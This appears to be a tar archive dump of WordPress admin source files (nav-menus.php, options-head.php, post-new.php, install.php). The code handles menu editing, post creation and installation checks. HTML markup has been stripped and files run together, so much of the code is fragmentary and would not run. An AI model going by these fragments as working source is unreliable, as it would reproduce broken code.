?????????????? nav-menus.php000064400000142027152506513310007175 0ustar00' . __( 'You need a higher level of permission.' ) . '' . '

' . __( 'Sorry, you are not allowed to edit theme options on this site.' ) . '

', 403 ); } // Used in the HTML title tag. $title = __( 'Menus' ); wp_enqueue_script( 'nav-menu' ); if ( wp_is_mobile() ) { wp_enqueue_script( 'jquery-touch-punch' ); } // Container for any messages displayed to the user. $messages = array(); // Container that stores the name of the active menu. $nav_menu_selected_title = ''; // The menu id of the current menu being edited. $nav_menu_selected_id = isset( $_REQUEST['menu'] ) ? (int) $_REQUEST['menu'] : 0; // Get existing menu locations assignments. $locations = get_registered_nav_menus(); $menu_locations = get_nav_menu_locations(); $num_locations = count( array_keys( $locations ) ); // Allowed actions: add, update, delete. $action = $_REQUEST['action'] ?? 'edit'; /* * If a JSON blob of navigation menu data is found, expand it and inject it * into `$_POST` to avoid PHP `max_input_vars` limitations. See #14134. */ _wp_expand_nav_menu_post_data(); switch ( $action ) { case 'add-menu-item': check_admin_referer( 'add-menu_item', 'menu-settings-column-nonce' ); if ( isset( $_REQUEST['nav-menu-locations'] ) ) { set_theme_mod( 'nav_menu_locations', array_map( 'absint', $_REQUEST['menu-locations'] ) ); } elseif ( isset( $_REQUEST['menu-item'] ) ) { wp_save_nav_menu_items( $nav_menu_selected_id, $_REQUEST['menu-item'] ); } break; case 'move-down-menu-item': // Moving down a menu item is the same as moving up the next in order. check_admin_referer( 'move-menu_item' ); $menu_item_id = isset( $_REQUEST['menu-item'] ) ? (int) $_REQUEST['menu-item'] : 0; if ( is_nav_menu_item( $menu_item_id ) ) { $menus = isset( $_REQUEST['menu'] ) ? array( (int) $_REQUEST['menu'] ) : wp_get_object_terms( $menu_item_id, 'nav_menu', array( 'fields' => 'ids' ) ); if ( ! is_wp_error( $menus ) && ! empty( $menus[0] ) ) { $menu_id = (int) $menus[0]; $ordered_menu_items = wp_get_nav_menu_items( $menu_id ); $menu_item_data = (array) wp_setup_nav_menu_item( get_post( $menu_item_id ) ); // Set up the data we need in one pass through the array of menu items. $dbids_to_orders = array(); $orders_to_dbids = array(); foreach ( (array) $ordered_menu_items as $ordered_menu_item_object ) { if ( isset( $ordered_menu_item_object->ID ) ) { if ( isset( $ordered_menu_item_object->menu_order ) ) { $dbids_to_orders[ $ordered_menu_item_object->ID ] = $ordered_menu_item_object->menu_order; $orders_to_dbids[ $ordered_menu_item_object->menu_order ] = $ordered_menu_item_object->ID; } } } // Get next in order. if ( isset( $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] + 1 ] ) ) { $next_item_id = $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] + 1 ]; $next_item_data = (array) wp_setup_nav_menu_item( get_post( $next_item_id ) ); // If not siblings of same parent, bubble menu item up but keep order. if ( ! empty( $menu_item_data['menu_item_parent'] ) && ( empty( $next_item_data['menu_item_parent'] ) || (int) $next_item_data['menu_item_parent'] !== (int) $menu_item_data['menu_item_parent'] ) ) { if ( in_array( (int) $menu_item_data['menu_item_parent'], $orders_to_dbids, true ) ) { $parent_db_id = (int) $menu_item_data['menu_item_parent']; } else { $parent_db_id = 0; } $parent_object = wp_setup_nav_menu_item( get_post( $parent_db_id ) ); if ( ! is_wp_error( $parent_object ) ) { $parent_data = (array) $parent_object; $menu_item_data['menu_item_parent'] = $parent_data['menu_item_parent']; // Reset invalid `menu_item_parent`. $menu_item_data = _wp_reset_invalid_menu_item_parent( $menu_item_data ); update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] ); } // Make menu item a child of its next sibling. } else { $next_item_data['menu_order'] = $next_item_data['menu_order'] - 1; $menu_item_data['menu_order'] = $menu_item_data['menu_order'] + 1; $menu_item_data['menu_item_parent'] = $next_item_data['ID']; // Reset invalid `menu_item_parent`. $menu_item_data = _wp_reset_invalid_menu_item_parent( $menu_item_data ); update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] ); wp_update_post( $menu_item_data ); wp_update_post( $next_item_data ); } // The item is last but still has a parent, so bubble up. } elseif ( ! empty( $menu_item_data['menu_item_parent'] ) && in_array( (int) $menu_item_data['menu_item_parent'], $orders_to_dbids, true ) ) { $menu_item_data['menu_item_parent'] = (int) get_post_meta( $menu_item_data['menu_item_parent'], '_menu_item_menu_item_parent', true ); // Reset invalid `menu_item_parent`. $menu_item_data = _wp_reset_invalid_menu_item_parent( $menu_item_data ); update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] ); } } } break; case 'move-up-menu-item': check_admin_referer( 'move-menu_item' ); $menu_item_id = isset( $_REQUEST['menu-item'] ) ? (int) $_REQUEST['menu-item'] : 0; if ( is_nav_menu_item( $menu_item_id ) ) { if ( isset( $_REQUEST['menu'] ) ) { $menus = array( (int) $_REQUEST['menu'] ); } else { $menus = wp_get_object_terms( $menu_item_id, 'nav_menu', array( 'fields' => 'ids' ) ); } if ( ! is_wp_error( $menus ) && ! empty( $menus[0] ) ) { $menu_id = (int) $menus[0]; $ordered_menu_items = wp_get_nav_menu_items( $menu_id ); $menu_item_data = (array) wp_setup_nav_menu_item( get_post( $menu_item_id ) ); // Set up the data we need in one pass through the array of menu items. $dbids_to_orders = array(); $orders_to_dbids = array(); foreach ( (array) $ordered_menu_items as $ordered_menu_item_object ) { if ( isset( $ordered_menu_item_object->ID ) ) { if ( isset( $ordered_menu_item_object->menu_order ) ) { $dbids_to_orders[ $ordered_menu_item_object->ID ] = $ordered_menu_item_object->menu_order; $orders_to_dbids[ $ordered_menu_item_object->menu_order ] = $ordered_menu_item_object->ID; } } } // If this menu item is not first. if ( ! empty( $dbids_to_orders[ $menu_item_id ] ) && ! empty( $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ] ) ) { // If this menu item is a child of the previous. if ( ! empty( $menu_item_data['menu_item_parent'] ) && in_array( (int) $menu_item_data['menu_item_parent'], array_keys( $dbids_to_orders ), true ) && isset( $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ] ) && ( (int) $menu_item_data['menu_item_parent'] === $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ] ) ) { if ( in_array( (int) $menu_item_data['menu_item_parent'], $orders_to_dbids, true ) ) { $parent_db_id = (int) $menu_item_data['menu_item_parent']; } else { $parent_db_id = 0; } $parent_object = wp_setup_nav_menu_item( get_post( $parent_db_id ) ); if ( ! is_wp_error( $parent_object ) ) { $parent_data = (array) $parent_object; /* * If there is something before the parent and parent a child of it, * make menu item a child also of it. */ if ( ! empty( $dbids_to_orders[ $parent_db_id ] ) && ! empty( $orders_to_dbids[ $dbids_to_orders[ $parent_db_id ] - 1 ] ) && ! empty( $parent_data['menu_item_parent'] ) ) { $menu_item_data['menu_item_parent'] = $parent_data['menu_item_parent']; /* * Else if there is something before parent and parent not a child of it, * make menu item a child of that something's parent */ } elseif ( ! empty( $dbids_to_orders[ $parent_db_id ] ) && ! empty( $orders_to_dbids[ $dbids_to_orders[ $parent_db_id ] - 1 ] ) ) { $_possible_parent_id = (int) get_post_meta( $orders_to_dbids[ $dbids_to_orders[ $parent_db_id ] - 1 ], '_menu_item_menu_item_parent', true ); if ( in_array( $_possible_parent_id, array_keys( $dbids_to_orders ), true ) ) { $menu_item_data['menu_item_parent'] = $_possible_parent_id; } else { $menu_item_data['menu_item_parent'] = 0; } // Else there isn't something before the parent. } else { $menu_item_data['menu_item_parent'] = 0; } // Set former parent's [menu_order] to that of menu-item's. $parent_data['menu_order'] = $parent_data['menu_order'] + 1; // Set menu-item's [menu_order] to that of former parent. $menu_item_data['menu_order'] = $menu_item_data['menu_order'] - 1; // Save changes. update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] ); wp_update_post( $menu_item_data ); wp_update_post( $parent_data ); } // Else this menu item is not a child of the previous. } elseif ( empty( $menu_item_data['menu_order'] ) || empty( $menu_item_data['menu_item_parent'] ) || ! in_array( (int) $menu_item_data['menu_item_parent'], array_keys( $dbids_to_orders ), true ) || empty( $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ] ) || $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ] !== (int) $menu_item_data['menu_item_parent'] ) { // Just make it a child of the previous; keep the order. $menu_item_data['menu_item_parent'] = (int) $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ]; // Reset invalid `menu_item_parent`. $menu_item_data = _wp_reset_invalid_menu_item_parent( $menu_item_data ); update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] ); wp_update_post( $menu_item_data ); } } } } break; case 'delete-menu-item': $menu_item_id = (int) $_REQUEST['menu-item']; check_admin_referer( 'delete-menu_item_' . $menu_item_id ); if ( is_nav_menu_item( $menu_item_id ) && wp_delete_post( $menu_item_id, true ) ) { $messages[] = wp_get_admin_notice( __( 'The menu item has been successfully deleted.' ), array( 'id' => 'message', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } break; case 'delete': check_admin_referer( 'delete-nav_menu-' . $nav_menu_selected_id ); if ( is_nav_menu( $nav_menu_selected_id ) ) { $deletion = wp_delete_nav_menu( $nav_menu_selected_id ); } else { // Reset the selected menu. $nav_menu_selected_id = 0; unset( $_REQUEST['menu'] ); } if ( ! isset( $deletion ) ) { break; } if ( is_wp_error( $deletion ) ) { $messages[] = wp_get_admin_notice( $deletion->get_error_message(), array( 'id' => 'message', 'additional_classes' => array( 'error' ), 'dismissible' => true, ) ); } else { $messages[] = wp_get_admin_notice( __( 'The menu has been successfully deleted.' ), array( 'id' => 'message', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } break; case 'delete_menus': check_admin_referer( 'nav_menus_bulk_actions' ); foreach ( $_REQUEST['delete_menus'] as $menu_id_to_delete ) { if ( ! is_nav_menu( $menu_id_to_delete ) ) { continue; } $deletion = wp_delete_nav_menu( $menu_id_to_delete ); if ( is_wp_error( $deletion ) ) { $messages[] = wp_get_admin_notice( $deletion->get_error_message(), array( 'id' => 'message', 'additional_classes' => array( 'error' ), 'dismissible' => true, ) ); $deletion_error = true; } } if ( empty( $deletion_error ) ) { $messages[] = wp_get_admin_notice( __( 'Selected menus have been successfully deleted.' ), array( 'id' => 'message', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } break; case 'update': check_admin_referer( 'update-nav_menu', 'update-nav-menu-nonce' ); // Merge new and existing menu locations if any new ones are set. $new_menu_locations = array(); if ( isset( $_POST['menu-locations'] ) ) { $new_menu_locations = array_map( 'absint', $_POST['menu-locations'] ); $menu_locations = array_merge( $menu_locations, $new_menu_locations ); } // Add Menu. if ( 0 === $nav_menu_selected_id ) { $new_menu_title = trim( esc_html( $_POST['menu-name'] ) ); if ( $new_menu_title ) { $_nav_menu_selected_id = wp_update_nav_menu_object( 0, array( 'menu-name' => $new_menu_title ) ); if ( is_wp_error( $_nav_menu_selected_id ) ) { $messages[] = wp_get_admin_notice( $_nav_menu_selected_id->get_error_message(), array( 'id' => 'message', 'additional_classes' => array( 'error' ), 'dismissible' => true, ) ); } else { $_menu_object = wp_get_nav_menu_object( $_nav_menu_selected_id ); $nav_menu_selected_id = $_nav_menu_selected_id; $nav_menu_selected_title = $_menu_object->name; if ( isset( $_REQUEST['menu-item'] ) ) { wp_save_nav_menu_items( $nav_menu_selected_id, absint( $_REQUEST['menu-item'] ) ); } if ( isset( $_REQUEST['zero-menu-state'] ) || ! empty( $_POST['auto-add-pages'] ) ) { // If there are menu items, add them. wp_nav_menu_update_menu_items( $nav_menu_selected_id, $nav_menu_selected_title ); } if ( isset( $_REQUEST['zero-menu-state'] ) ) { // Auto-save nav_menu_locations. $locations = get_nav_menu_locations(); foreach ( $locations as $location => $menu_id ) { $locations[ $location ] = $nav_menu_selected_id; break; // There should only be 1. } set_theme_mod( 'nav_menu_locations', $locations ); } elseif ( count( $new_menu_locations ) > 0 ) { // If locations have been selected for the new menu, save those. $locations = get_nav_menu_locations(); foreach ( array_keys( $new_menu_locations ) as $location ) { $locations[ $location ] = $nav_menu_selected_id; } set_theme_mod( 'nav_menu_locations', $locations ); } if ( isset( $_REQUEST['use-location'] ) ) { $locations = get_registered_nav_menus(); $menu_locations = get_nav_menu_locations(); if ( isset( $locations[ $_REQUEST['use-location'] ] ) ) { $menu_locations[ $_REQUEST['use-location'] ] = $nav_menu_selected_id; } set_theme_mod( 'nav_menu_locations', $menu_locations ); } wp_redirect( admin_url( 'nav-menus.php?menu=' . $_nav_menu_selected_id ) ); exit; } } else { $messages[] = wp_get_admin_notice( __( 'Please enter a valid menu name.' ), array( 'id' => 'message', 'additional_classes' => array( 'error' ), 'dismissible' => true, ) ); } // Update existing menu. } else { // Remove menu locations that have been unchecked. foreach ( $locations as $location => $description ) { if ( ( empty( $_POST['menu-locations'] ) || empty( $_POST['menu-locations'][ $location ] ) ) && isset( $menu_locations[ $location ] ) && $menu_locations[ $location ] === $nav_menu_selected_id ) { unset( $menu_locations[ $location ] ); } } // Set menu locations. set_theme_mod( 'nav_menu_locations', $menu_locations ); $_menu_object = wp_get_nav_menu_object( $nav_menu_selected_id ); $menu_title = trim( esc_html( $_POST['menu-name'] ) ); if ( ! $menu_title ) { $messages[] = wp_get_admin_notice( __( 'Please enter a valid menu name.' ), array( 'id' => 'message', 'additional_classes' => array( 'error' ), 'dismissible' => true, ) ); $menu_title = $_menu_object->name; } if ( ! is_wp_error( $_menu_object ) ) { $_nav_menu_selected_id = wp_update_nav_menu_object( $nav_menu_selected_id, array( 'menu-name' => $menu_title ) ); if ( is_wp_error( $_nav_menu_selected_id ) ) { $_menu_object = $_nav_menu_selected_id; $messages[] = wp_get_admin_notice( $_nav_menu_selected_id->get_error_message(), array( 'id' => 'message', 'additional_classes' => array( 'error' ), 'dismissible' => true, ) ); } else { $_menu_object = wp_get_nav_menu_object( $_nav_menu_selected_id ); $nav_menu_selected_title = $_menu_object->name; } } // Update menu items. if ( ! is_wp_error( $_menu_object ) ) { $messages = array_merge( $messages, wp_nav_menu_update_menu_items( $_nav_menu_selected_id, $nav_menu_selected_title ) ); // If the menu ID changed, redirect to the new URL. if ( $nav_menu_selected_id !== $_nav_menu_selected_id ) { wp_redirect( admin_url( 'nav-menus.php?menu=' . (int) $_nav_menu_selected_id ) ); exit; } } } break; case 'locations': if ( ! $num_locations ) { wp_redirect( admin_url( 'nav-menus.php' ) ); exit; } add_filter( 'screen_options_show_screen', '__return_false' ); if ( isset( $_POST['menu-locations'] ) ) { check_admin_referer( 'save-menu-locations' ); $new_menu_locations = array_map( 'absint', $_POST['menu-locations'] ); $menu_locations = array_merge( $menu_locations, $new_menu_locations ); // Set menu locations. set_theme_mod( 'nav_menu_locations', $menu_locations ); $messages[] = wp_get_admin_notice( __( 'Menu locations updated.' ), array( 'id' => 'message', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } break; } // Get all nav menus. $nav_menus = wp_get_nav_menus(); $menu_count = count( $nav_menus ); // Are we on the add new screen? $add_new_screen = isset( $_GET['menu'] ) && 0 === (int) $_GET['menu']; $locations_screen = isset( $_GET['action'] ) && 'locations' === $_GET['action']; $page_count = wp_count_posts( 'page' ); /* * If we have one registered menu location, and zero menus, we take them right * into editing their first menu. */ if ( 1 === count( get_registered_nav_menus() ) && ! $add_new_screen && empty( $nav_menus ) && ! empty( $page_count->publish ) ) { $one_theme_location_no_menus = true; } else { $one_theme_location_no_menus = false; } $nav_menus_l10n = array( 'oneThemeLocationNoMenus' => $one_theme_location_no_menus, 'moveUp' => __( 'Move up one' ), 'moveDown' => __( 'Move down one' ), 'moveToTop' => __( 'Move to the top' ), /* translators: %s: Previous item name. */ 'moveUnder' => __( 'Move under %s' ), /* translators: %s: Previous item name. */ 'moveOutFrom' => __( 'Move out from under %s' ), /* translators: %s: Previous item name. */ 'under' => __( 'Under %s' ), /* translators: %s: Previous item name. */ 'outFrom' => __( 'Out from under %s' ), /* translators: 1: Item name, 2: Item type, 3: Item index, 4: Total items. */ 'menuFocus' => __( 'Edit %1$s (%2$s, %3$d of %4$d)' ), /* translators: 1: Item name, 2: Item type, 3: Item index, 4: Total items, 5: Item parent. */ 'subMenuFocus' => __( 'Edit %1$s (%2$s, sub-item %3$d of %4$d under %5$s)' ), /* translators: 1: Item name, 2: Item type, 3: Item index, 4: Total items, 5: Item parent, 6: Item depth. */ 'subMenuMoreDepthFocus' => __( 'Edit %1$s (%2$s, sub-item %3$d of %4$d under %5$s, level %6$d)' ), /* translators: %s: Item name. */ 'menuItemDeletion' => __( 'item %s' ), /* translators: %s: Item name. */ 'itemsDeleted' => __( 'Deleted menu item: %s.' ), 'itemAdded' => __( 'Menu item added' ), 'itemRemoved' => __( 'Menu item removed' ), 'movedUp' => __( 'Menu item moved up' ), 'movedDown' => __( 'Menu item moved down' ), 'movedTop' => __( 'Menu item moved to the top' ), 'movedLeft' => __( 'Menu item moved out of submenu' ), 'movedRight' => __( 'Menu item is now a sub-item' ), 'parentUpdated' => __( 'Menu parent updated' ), 'orderUpdated' => __( 'Menu order updated' ), ); wp_localize_script( 'nav-menu', 'menus', $nav_menus_l10n ); /* * Redirect to add screen if there are no menus and this user has either zero * or more than one registered menu location. */ if ( 0 === $menu_count && ! $add_new_screen && ! $one_theme_location_no_menus ) { wp_redirect( admin_url( 'nav-menus.php?action=edit&menu=0' ) ); } // Get recently edited nav menu. $recently_edited = absint( get_user_option( 'nav_menu_recently_edited' ) ); if ( empty( $recently_edited ) && is_nav_menu( $nav_menu_selected_id ) ) { $recently_edited = $nav_menu_selected_id; } // Use $recently_edited if none are selected. if ( empty( $nav_menu_selected_id ) && ! isset( $_GET['menu'] ) && is_nav_menu( $recently_edited ) ) { $nav_menu_selected_id = $recently_edited; } // On deletion of menu, if another menu exists, show it. if ( ! $add_new_screen && $menu_count > 0 && isset( $_GET['action'] ) && 'delete' === $_GET['action'] ) { $nav_menu_selected_id = $nav_menus[0]->term_id; } // Set $nav_menu_selected_id to 0 if no menus. if ( $one_theme_location_no_menus ) { $nav_menu_selected_id = 0; } elseif ( empty( $nav_menu_selected_id ) && ! empty( $nav_menus ) && ! $add_new_screen ) { // If we have no selection yet, and we have menus, set to the first one in the list. $nav_menu_selected_id = $nav_menus[0]->term_id; } // Update the user's setting. if ( $nav_menu_selected_id !== $recently_edited && is_nav_menu( $nav_menu_selected_id ) ) { update_user_meta( $current_user->ID, 'nav_menu_recently_edited', $nav_menu_selected_id ); } // If there's a menu, get its name. if ( ! $nav_menu_selected_title && is_nav_menu( $nav_menu_selected_id ) ) { $_menu_object = wp_get_nav_menu_object( $nav_menu_selected_id ); $nav_menu_selected_title = ! is_wp_error( $_menu_object ) ? $_menu_object->name : ''; } // Generate truncated menu names. foreach ( (array) $nav_menus as $key => $_nav_menu ) { $nav_menus[ $key ]->truncated_name = wp_html_excerpt( $_nav_menu->name, 40, '…' ); } // Retrieve menu locations. if ( current_theme_supports( 'menus' ) ) { $locations = get_registered_nav_menus(); $menu_locations = get_nav_menu_locations(); } /* * Ensure the user will be able to scroll horizontally * by adding a class for the max menu depth. * * @global int $_wp_nav_menu_max_depth */ global $_wp_nav_menu_max_depth; $_wp_nav_menu_max_depth = 0; // Calling wp_get_nav_menu_to_edit generates $_wp_nav_menu_max_depth. if ( is_nav_menu( $nav_menu_selected_id ) ) { $menu_items = wp_get_nav_menu_items( $nav_menu_selected_id, array( 'post_status' => 'any' ) ); $edit_markup = wp_get_nav_menu_to_edit( $nav_menu_selected_id ); } /** * Adds a CSS class to display the max depth of the navigation menu. * * @since 3.0.0 * * @global int $_wp_nav_menu_max_depth Maximum depth of the navigation menu. * * @param string $classes Existing CSS classes for the body tag. * @return string Modified CSS classes including the menu max depth class. */ function wp_nav_menu_max_depth( $classes ) { global $_wp_nav_menu_max_depth; return "$classes menu-max-depth-$_wp_nav_menu_max_depth"; } add_filter( 'admin_body_class', 'wp_nav_menu_max_depth' ); wp_nav_menu_setup(); wp_initial_nav_menu_meta_boxes(); if ( ! current_theme_supports( 'menus' ) && ! $num_locations ) { $message_no_theme_support = sprintf( /* translators: %s: URL to Widgets screen. */ __( 'Your theme does not natively support menus, but you can use them in sidebars by adding a “Navigation Menu” widget on the Widgets screen.' ), admin_url( 'widgets.php' ) ); $messages[] = wp_get_admin_notice( $message_no_theme_support, array( 'id' => 'message', 'additional_classes' => array( 'updated' ), 'dismissible' => true, ) ); } if ( ! $locations_screen ) : // Main tab. $overview = '

' . __( 'This screen is used for managing your navigation menus.' ) . '

'; $overview .= '

' . sprintf( /* translators: 1: URL to Widgets screen, 2 and 3: The names of the default themes. */ __( 'Menus can be displayed in locations defined by your theme, even used in sidebars by adding a “Navigation Menu” widget on the Widgets screen. If your theme does not support the navigation menus feature (the default themes, %2$s and %3$s, do), you can learn about adding this support by following the documentation link to the side.' ), admin_url( 'widgets.php' ), 'Twenty Twenty', 'Twenty Twenty-One' ) . '

'; $overview .= '

' . __( 'From this screen you can:' ) . '

'; $overview .= ''; get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => $overview, ) ); $menu_management = '

' . __( 'The menu management box at the top of the screen is used to control which menu is opened in the editor below.' ) . '

'; $menu_management .= ''; $menu_management .= '

' . __( 'You can assign individual menus to the theme’s menu locations by selecting the desired settings at the bottom of the menu editor. To assign menus to all theme menu locations at once, visit the Manage Locations tab at the top of the screen.' ) . '

'; get_current_screen()->add_help_tab( array( 'id' => 'menu-management', 'title' => __( 'Menu Management' ), 'content' => $menu_management, ) ); $editing_menus = '

' . __( 'Each navigation menu may contain a mix of links to pages, categories, custom URLs or other content types. Menu links are added by selecting items from the expanding boxes in the left-hand column below.' ) . '

'; $editing_menus .= '

' . __( 'Clicking the arrow to the right of any menu item in the editor will reveal a standard group of settings. Additional settings such as link target, CSS classes, link relationships, and link descriptions can be enabled and disabled via the Screen Options tab.' ) . '

'; $editing_menus .= ''; get_current_screen()->add_help_tab( array( 'id' => 'editing-menus', 'title' => __( 'Editing Menus' ), 'content' => $editing_menus, ) ); else : // Locations tab. $locations_overview = '

' . __( 'This screen is used for globally assigning menus to locations defined by your theme.' ) . '

'; $locations_overview .= ''; get_current_screen()->add_help_tab( array( 'id' => 'locations-overview', 'title' => __( 'Overview' ), 'content' => $locations_overview, ) ); endif; get_current_screen()->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Menus' ) . '

' . '

' . __( 'Support forums' ) . '

' ); // Get the admin header. require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

'menu_locations' ) : array( 'panel' => 'nav_menus' ); printf( ' %2$s', esc_url( add_query_arg( array( array( 'autofocus' => $focus ), 'return' => urlencode( remove_query_arg( wp_removable_query_args(), wp_unslash( $_SERVER['REQUEST_URI'] ) ) ), ), admin_url( 'customize.php' ) ) ), __( 'Manage with Live Preview' ) ); endif; $nav_tab_active_class = ''; $nav_aria_current = ''; if ( ! isset( $_GET['action'] ) || isset( $_GET['action'] ) && 'locations' !== $_GET['action'] ) { $nav_tab_active_class = ' nav-tab-active'; $nav_aria_current = ' aria-current="page"'; } ?>
' . __( 'Your theme supports one menu. Select which menu you would like to use.' ) . '

'; } else { echo '

' . sprintf( /* translators: %s: Number of menus. */ _n( 'Your theme supports %s menu. Select which menu appears in each location.', 'Your theme supports %s menus. Select which menu appears in each location.', $num_locations ), number_format_i18n( $num_locations ) ) . '

'; } ?>
create a new menu. Do not forget to save your changes!' ), esc_url( add_query_arg( array( 'action' => 'edit', 'menu' => 0, ), admin_url( 'nav-menus.php' ) ) ) ); ?>
create a new menu. Do not forget to save your changes!' ), esc_url( add_query_arg( array( 'action' => 'edit', 'menu' => 0, ), admin_url( 'nav-menus.php' ) ) ) ); ?>
options-head.php000064400000001146152506513310007652 0ustar00 true ) ), true ) ) { $post_type = $_GET['post_type']; } else { wp_die( __( 'Invalid post type.' ) ); } $post_type_object = get_post_type_object( $post_type ); if ( 'post' === $post_type ) { $parent_file = 'edit.php'; $submenu_file = 'post-new.php'; } elseif ( 'attachment' === $post_type ) { if ( wp_redirect( admin_url( 'media-new.php' ) ) ) { exit; } } else { $submenu_file = "post-new.php?post_type=$post_type"; if ( isset( $post_type_object ) && $post_type_object->show_in_menu && true !== $post_type_object->show_in_menu ) { $parent_file = $post_type_object->show_in_menu; // What if there isn't a post-new.php item for this post type? if ( ! isset( $_registered_pages[ get_plugin_page_hookname( "post-new.php?post_type=$post_type", $post_type_object->show_in_menu ) ] ) ) { if ( isset( $_registered_pages[ get_plugin_page_hookname( "edit.php?post_type=$post_type", $post_type_object->show_in_menu ) ] ) ) { // Fall back to edit.php for that post type, if it exists. $submenu_file = "edit.php?post_type=$post_type"; } else { // Otherwise, give up and highlight the parent. $submenu_file = $parent_file; } } } else { $parent_file = "edit.php?post_type=$post_type"; } } $title = $post_type_object->labels->add_new_item; $editing = true; if ( ! current_user_can( $post_type_object->cap->edit_posts ) || ! current_user_can( $post_type_object->cap->create_posts ) ) { wp_die( '

' . __( 'You need a higher level of permission.' ) . '

' . '

' . __( 'Sorry, you are not allowed to create posts as this user.' ) . '

', 403 ); } $post = get_default_post_to_edit( $post_type, true ); $post_ID = $post->ID; /** This filter is documented in wp-admin/post.php */ if ( apply_filters( 'replace_editor', false, $post ) !== true ) { if ( use_block_editor_for_post( $post ) ) { require ABSPATH . 'wp-admin/edit-form-blocks.php'; } else { wp_enqueue_script( 'autosave' ); require ABSPATH . 'wp-admin/edit-form-advanced.php'; } } else { // Flag that we're not loading the block editor. $current_screen = get_current_screen(); $current_screen->is_block_editor( false ); } require_once ABSPATH . 'wp-admin/admin-footer.php'; install.php000064400000043707152506513310006737 0ustar00 Error: PHP is not running

Error: PHP is not running

WordPress requires that your web server is running PHP. Your server does not have PHP installed, or PHP is turned off.

> <?php _e( 'WordPress › Installation' ); ?> get_var( $wpdb->prepare( 'SHOW TABLES LIKE %s', $wpdb->esc_like( $wpdb->users ) ) ) !== null ); // Ensure that sites appear in search engines by default. $blog_public = 1; if ( isset( $_POST['weblog_title'] ) ) { $blog_public = isset( $_POST['blog_public'] ) ? (int) $_POST['blog_public'] : $blog_public; } $weblog_title = isset( $_POST['weblog_title'] ) ? trim( wp_unslash( $_POST['weblog_title'] ) ) : ''; $user_name = isset( $_POST['user_name'] ) ? trim( wp_unslash( $_POST['user_name'] ) ) : ''; $admin_email = isset( $_POST['admin_email'] ) ? trim( wp_unslash( $_POST['admin_email'] ) ) : ''; if ( ! is_null( $error ) ) { ?>

'submit' ) ); ?>

' . __( 'Already Installed' ) . '' . '

' . __( 'You appear to have already installed WordPress. To reinstall please clear your old database tables first.' ) . '

' . '

' . __( 'Log In' ) . '

' . '' ); } /** * @global string $wp_version The WordPress version string. * @global string $required_php_version The minimum required PHP version string. * @global string[] $required_php_extensions The names of required PHP extensions. * @global string $required_mysql_version The minimum required MySQL version string. * @global wpdb $wpdb WordPress database abstraction object. */ global $wp_version, $required_php_version, $required_php_extensions, $required_mysql_version, $wpdb; $php_version = PHP_VERSION; $mysql_version = $wpdb->db_version(); $php_compat = version_compare( $php_version, $required_php_version, '>=' ); $mysql_compat = version_compare( $mysql_version, $required_mysql_version, '>=' ) || file_exists( WP_CONTENT_DIR . '/db.php' ); $version_url = sprintf( /* translators: %s: WordPress version. */ esc_url( __( 'https://wordpress.org/documentation/wordpress-version/version-%s/' ) ), sanitize_title( $wp_version ) ); $php_update_message = '

' . sprintf( /* translators: %s: URL to Update PHP page. */ __( 'Learn more about updating PHP.' ), esc_url( wp_get_update_php_url() ) ); $annotation = wp_get_update_php_annotation(); if ( $annotation ) { $php_update_message .= '

' . $annotation . ''; } if ( ! $mysql_compat && ! $php_compat ) { $compat = sprintf( /* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required PHP version number, 4: Minimum required MySQL version number, 5: Current PHP version number, 6: Current MySQL version number. */ __( 'You cannot install because WordPress %2$s requires PHP version %3$s or higher and MySQL version %4$s or higher. You are running PHP version %5$s and MySQL version %6$s.' ), $version_url, $wp_version, $required_php_version, $required_mysql_version, $php_version, $mysql_version ) . $php_update_message; } elseif ( ! $php_compat ) { $compat = sprintf( /* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required PHP version number, 4: Current PHP version number. */ __( 'You cannot install because WordPress %2$s requires PHP version %3$s or higher. You are running version %4$s.' ), $version_url, $wp_version, $required_php_version, $php_version ) . $php_update_message; } elseif ( ! $mysql_compat ) { $compat = sprintf( /* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required MySQL version number, 4: Current MySQL version number. */ __( 'You cannot install because WordPress %2$s requires MySQL version %3$s or higher. You are running version %4$s.' ), $version_url, $wp_version, $required_mysql_version, $mysql_version ); } if ( ! $mysql_compat || ! $php_compat ) { display_header(); die( '

' . __( 'Requirements Not Met' ) . '

' . $compat . '

' ); } if ( isset( $required_php_extensions ) && is_array( $required_php_extensions ) ) { $missing_extensions = array(); foreach ( $required_php_extensions as $extension ) { if ( extension_loaded( $extension ) ) { continue; } $missing_extensions[] = sprintf( /* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: The PHP extension name needed. */ __( 'You cannot install because WordPress %2$s requires the %3$s PHP extension.' ), $version_url, $wp_version, $extension ); } if ( count( $missing_extensions ) > 0 ) { display_header(); die( '

' . __( 'Requirements Not Met' ) . '

' . implode( '

', $missing_extensions ) . '

' ); } } if ( ! is_string( $wpdb->base_prefix ) || '' === $wpdb->base_prefix ) { display_header(); die( '

' . __( 'Configuration Error' ) . '

' . '

